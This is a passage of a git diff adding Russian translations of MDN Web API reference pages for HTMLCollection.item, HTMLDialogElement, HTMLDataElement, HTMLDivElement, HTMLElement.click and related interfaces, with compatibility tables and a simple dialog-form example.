+<p>Элемент соответствующий конкретной, заданной позиции или null, если index меньше нуля или больше, чем index последнего элемента.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод item() возвращает номерной элемент из HTMLCollection. В JavaScript легче работать с HTMLCollection, как с массивом, используя квадратные скобки.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var c = document.images;  // Это HTMLCollection
+var img0 = c.item(0);     // Вы можете использовать метод item( ) для доступа к элементу
+var img1 = c[1];          // Однако, использование квадратных скобок намного проще и более распространено
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcontentelement/index.html b/files/ru/web/api/htmlcontentelement/index.html
new file mode 100644
index 0000000000..f3c59d4f27
--- /dev/null
+++ b/files/ru/web/api/htmlcontentelement/index.html
@@ -0,0 +1,49 @@
+---
+title: HTMLContentElement
+slug: Web/API/HTMLContentElement
+translation_of: Web/API/HTMLContentElement
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>{{Deprecated_header}}</p>
+
+<p>The <code><strong>HTMLContentElement</strong></code> interface represents a {{HTMLElement("content")}} HTML Element, which is used in <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>. </p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.select")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("select", "content") }} HTML attribute. The value is a comma-separated list of CSS selectors that select the content to insert in place of the <code>&lt;content&gt;</code> element.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.getDistributedNodes()")}}</dt>
+ <dd>Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;content&gt;</code> element. </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>This feature is no longer defined by any standards.</p>
+
+<h2 id="Поддержка_бразуерами">Поддержка бразуерами</h2>
+
+
+
+<p>{{Compat("api.HTMLContentElement")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The {{HTMLElement("content")}} HTML element, implementing this interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/ru/web/api/htmldataelement/index.html b/files/ru/web/api/htmldataelement/index.html
new file mode 100644
index 0000000000..6dc1267d29
--- /dev/null
+++ b/files/ru/web/api/htmldataelement/index.html
@@ -0,0 +1,111 @@
+---
+title: HTMLDataElement
+slug: Web/API/HTMLDataElement
+translation_of: Web/API/HTMLDataElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Интерфейс <strong><code>HTMLDataElement</code></strong> предоставляет специальные свойства (после чего постоянный  {{domxref("HTMLElement")}} интерфейстакже доступен еме по наследству) для манипуляции {{HTMLElement("data")}} элементами.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>отображает {{ htmlattrxref("value", "data") }} HTML атрибут, содержащий машиночитаемый вид значения элемента.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-data-element", "HTMLDataElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', 'HTMLDataElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(22)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(22)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("data")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html
new file mode 100644
index 0000000000..81cb52cb72
--- /dev/null
+++ b/files/ru/web/api/htmldialogelement/index.html
@@ -0,0 +1,136 @@
+---
+title: HTMLDialogElement
+slug: Web/API/HTMLDialogElement
+tags:
+  - API
+  - Dialog
+  - HTMLDialogElement
+  - Interface
+translation_of: Web/API/HTMLDialogElement
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>HTMLDialogElement</code></strong> - интерфейс взаимодействия, предоставляющий методы для управления {{HTMLElement("dialog")}} элементами. Он наследует свойства и методы от {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 80)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.open")}}</dt>
+ <dd>{{domxref("Boolean")}} отражает HTML атрибут элемента {{htmlattrxref("open", "dialog")}}, указывающий на то, доступно ли диалоговое окно для воздействия.</dd>
+ <dt>{{domxref("HTMLDialogElement.returnValue")}}</dt>
+ <dd>{{domxref("DOMString")}} устанавливает или возвращает передаваемое диалоговому окну значение.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.close()")}}</dt>
+ <dd>Закрывает диалоговое окно. Опциональный {{domxref("DOMString")}} может быть передан как аргумент, обновляющий <code>returnValue</code> диалогового окна.</dd>
+ <dt>{{domxref("HTMLDialogElement.show()")}}</dt>
+ <dd>Показывает диалоговое окно modelessly, т.е. остается возможность взаимодействовать с контеном вне диалогового окна.</dd>
+ <dt>{{domxref("HTMLDialogElement.showModal()")}}</dt>
+ <dd>Показывает диалог как модальное окно поверх любых других диалоговых окон, которые также могут существовать в данный момент. Взаимодействие с контентом вне диалогового окна заблокировано.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Примеры ниже показывают простую кнопку, которая при нажатии открывает {{htmlelement("dialog")}}, содержащий элемент {{htmlelement("form")}}, используя  метод {{domxref("HTMLDialogElement.showModal()")}}. Вы можете нажать кнопку <em>Отмены, </em>чтобы закрыть диалоговое окно (используя функцию {{domxref("HTMLDialogElement.close()")}}), или принять форму, использую кнопку <em>Принятия</em>.</p>
+
+<pre class="brush: html">  &lt;!-- Simple pop-up dialog box, containing a form --&gt;
+  &lt;dialog id="favDialog"&gt;
+    &lt;form method="dialog"&gt;
+      &lt;section&gt;
+        &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+        &lt;select id="favAnimal" name="favAnimal"&gt;
+          &lt;option&gt;&lt;/option&gt;
+          &lt;option&gt;Brine shrimp&lt;/option&gt;
+          &lt;option&gt;Red panda&lt;/option&gt;
+          &lt;option&gt;Spider monkey&lt;/option&gt;
+        &lt;/select&gt;&lt;/p&gt;
+      &lt;/section&gt;
+      &lt;menu&gt;
+        &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+        &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+      &lt;/menu&gt;
+    &lt;/form&gt;
+  &lt;/dialog&gt;
+
+  &lt;menu&gt;
+    &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+  &lt;/menu&gt;
+
+  &lt;script&gt;
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Update button opens a modal dialog
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Form cancel button closes the dialog box
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  &lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub as <a href="https://github.com/mdn/dom-examples/blob/master/htmldialogelement-basic/index.html">htmldialogelement-basic</a> (<a href="https://mdn.github.io/dom-examples/htmldialogelement-basic/">see it live also</a>).</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmldialogelement', 'HTMLDialogElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLDialogElement")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>HTML элемент, реализующий этот интерфейс взаимодействия: {{ HTMLElement("dialog") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldialogelement/open/index.html b/files/ru/web/api/htmldialogelement/open/index.html
new file mode 100644
index 0000000000..a6208c8ac9
--- /dev/null
+++ b/files/ru/web/api/htmldialogelement/open/index.html
@@ -0,0 +1,126 @@
+---
+title: HTMLDialogElement.open
+slug: Web/API/HTMLDialogElement/open
+tags:
+  - API
+  - Dialog
+  - HTML DOM
+  - HTMLDialogElement
+  - open
+translation_of: Web/API/HTMLDialogElement/open
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p><strong><code>open</code></strong> - свойство интерфейса взаимодействия {{domxref("HTMLDialogElement")}}, является {{domxref("Boolean")}} значением и отражает HTML атрибут {{htmlattrxref("open", "dialog")}} этого элемента, указывающий, доступен ли {{htmlelement("dialog")}} для взаимодействия.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">dialogInstance.open = true;
+var myOpenValue = dialogInstance.open;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Boolean")}} значение отражает состояние HTML атрибута {{htmlattrxref("open", "dialog")}}. <code>true</code> значит, что значение установлено и диалоговое окно показывается в настоящий момент. <code>false</code> указывает, что значение не установлено и далоговое окно не показывается.</p>
+
+<p>Свойство доступно только для чтения — значение можно установить программно методы show и hide элемента {{htmlelement("dialog")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Примеры ниже показывают простую кнопку, которая по нажатию открывает {{htmlelement("dialog")}}, содержащий {{htmlelement("form")}}, используя <code>showModal()</code> метод. Вы можете нажать кнопку <em>Отмена</em> для закрытия (используя {{domxref("HTMLDialogElement.close()")}} метод) или принять {{htmlelement("form")}}, нажав на кнопку <em>Принять</em>.</p>
+
+<pre class="brush: html">  &lt;!-- Simple pop-up dialog box, containing a form --&gt;
+  &lt;dialog id="favDialog"&gt;
+    &lt;form method="dialog"&gt;
+      &lt;section&gt;
+        &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+        &lt;select id="favAnimal" name="favAnimal"&gt;
+          &lt;option&gt;&lt;/option&gt;
+          &lt;option&gt;Brine shrimp&lt;/option&gt;
+          &lt;option&gt;Red panda&lt;/option&gt;
+          &lt;option&gt;Spider monkey&lt;/option&gt;
+        &lt;/select&gt;&lt;/p&gt;
+      &lt;/section&gt;
+      &lt;menu&gt;
+        &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+        &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+      &lt;/menu&gt;
+    &lt;/form&gt;
+  &lt;/dialog&gt;
+
+  &lt;menu&gt;
+    &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+  &lt;/menu&gt;
+
+  &lt;script&gt;
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Кнопка обновления открывает диалоговое окно
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Кнопка отмены закрывает диалоговое окно
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  &lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти данный пример на <a href="https://github.com/mdn/dom-examples/blob/master/htmldialogelement-basic/index.html">htmldialogelement-basic</a> (<a href="https://mdn.github.io/dom-examples/htmldialogelement-basic/">see it live also</a>).</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#dom-dialog-open', 'open')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#dom-htmldialogelement-open', 'open')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLDialogElement.open")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>HTML элемент, использующий данный интерфейс взаимодействия: {{ HTMLElement("dialog") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldivelement/index.html b/files/ru/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..d309e5c1ae
--- /dev/null
+++ b/files/ru/web/api/htmldivelement/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+translation_of: Web/API/HTMLDivElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Интерфейс <strong>HTMLDivElement</strong> предоставляет специальные свойства (не входящее в интерфейс {{domxref("HTMLElement")}} ) для манипулирования DIV элементов. </p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Свойство типа {{domxref("DOMString")}} указывающее выравнивание содержимого элемента относительно окружающего контекста. Принемает следующие значения <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специальных методов; Наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Неимеет изменений от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Неимеет изменений от {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Неимеет изменений от {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("div") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldocument/index.html b/files/ru/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..4a0ef5fd10
--- /dev/null
+++ b/files/ru/web/api/htmldocument/index.html
@@ -0,0 +1,20 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+tags:
+  - API
+  - HTML DOM
+  - Интерфейс
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>HTMLDocument - это абстрактный интерфейс  <a href="https://developer.mozilla.org/en-US/docs/DOM" title="en/DOM">DOM</a>, который обеспечивает доступ к специальным свойствам и методам, не представленным по умолчанию в регулярном (XML) документе.</p>
+
+<p>Его методы и свойства включены в страницу {{domxref ("document")}} и перечислены отдельно в их собственном разделе на вышеупомянутой связанной странице DOM.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="freelink">http://www.w3.org/TR/DOM-Level-2-HTM...ml#ID-26809268</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/click/index.html b/files/ru/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..d800f52724
--- /dev/null
+++ b/files/ru/web/api/htmlelement/click/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Метод <code><strong>HTMLElement.click()</strong></code> имитирует клик мышкой по элементу.</p>
+
+<p>Когда <code>click()</code> используется с поддерживающими его элементами (такими, например, как {{HTMLElement("input")}}), он вызывает срабатывание события клика мышкой. Это событие затем всплывает вверх по дереву элементов (или цепочке событий) и вызывает срабатывание уже их событий по клику мышкой.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>element</em>.click()</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>input@file (limited)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>input@file (full)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Относится к  Gecko 5.0 {{geckoRelease("5.0")}}, Gecko не будет реализовывать метод  <code>click()</code>  на других элементах, которые, как можно ожидать,  будут реагировать на клик мышкой, на такие как "ссылка"  ({{HTMLElement("a")}} элементы), также это не обязательно вызовет срабатывание события "клик мышкой" у других элементов.</p>
+
+<p>[2] В версиях Opera, базируемых на Presto, метод <code>click()</code> будет без ошибок проигнорирован, если вызывается на поле {{HTMLElement("input")}} у которого  <strong><code>type</code> </strong>указан как <code>file</code> и <a href="/en-US/docs/Web/CSS">CSS</a> свойство {{cssxref('display')}} установлено <code>none</code>.</p>
+
+<p>[3] Предыдущие версии имели только <code>HTMLInputElement.click()</code> и <code>HTMLButtonElement.click()</code> .</p>
diff --git a/files/ru/web/api/htmlelement/contenteditable/index.html b/files/ru/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..d231018d4a
--- /dev/null
+++ b/files/ru/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <strong><code>HTMLElement.contentEditable</code></strong> элемента - признак, указывающий можно или нет редактировать содержимое элемента. Своство может принимать следующие значения:</p>
+
+<ul>
+ <li><code>true или пустая строка - содержимое элемента доступно для редактирования</code>.</li>
+ <li><code>false</code> - содержимое элемента не доступно для редактирования.</li>
+ <li><code>inherit</code> - наследуется значение занного свойства от родительского элемента.</li>
+</ul>
+
+<p>Вы можете использовать свойство {{domxref("HTMLElement.isContentEditable")}}, чтобы проверить {{domxref("Boolean")}} значение этого свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>editable</em> = element.contentEditable
+element.contentEditable = "true"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>11</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>6</td>
+   <td>10.6</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3</td>
+   <td>{{CompatGeckoMobile(1.9)}}</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Bugs" name="Bugs">Bugs</h3>
+
+<ul>
+ <li><a href="https://connect.microsoft.com/IE/feedback/details/796187/internet-explorer-10-crash-with-contenteditable-list">IE bug 796187</a>: IE10 crashes in some cases when editing lists</li>
+ <li><a href="https://connect.microsoft.com/IE/feedback/details/858749">IE bug 858749</a>: IE11+ uses invalid positioning for caret when an element is floated</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/809254">IE bug 809254</a>: IE9-10 window freezes when using mousewheel while dragging</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/794285">IE bug 794285</a>: IE10-11 does not fire the <a href="/en-US/docs/Web/Events/input"><code>input</code></a> event</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/801770">IE bug 801770</a>: IE10 crashes after selecting "Cut" from the context menu</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/807199">IE bug 807199</a>: IE11+ does not allow placing the caret in an empty table cell</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/774350">IE bug 774350</a>: IE10 does not fire <a href="/en-US/docs/Web/Events/contextmenu"><code>contextmenu</code></a> event when right-clicking on misspelled words</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/864804">IE bug 864804</a>: IE11 appends {{HTMLElement("br")}} elements to {{HTMLElement("body")}} when showing/hiding an {{HTMLElement("iframe")}} with contenteditable document inside</li>
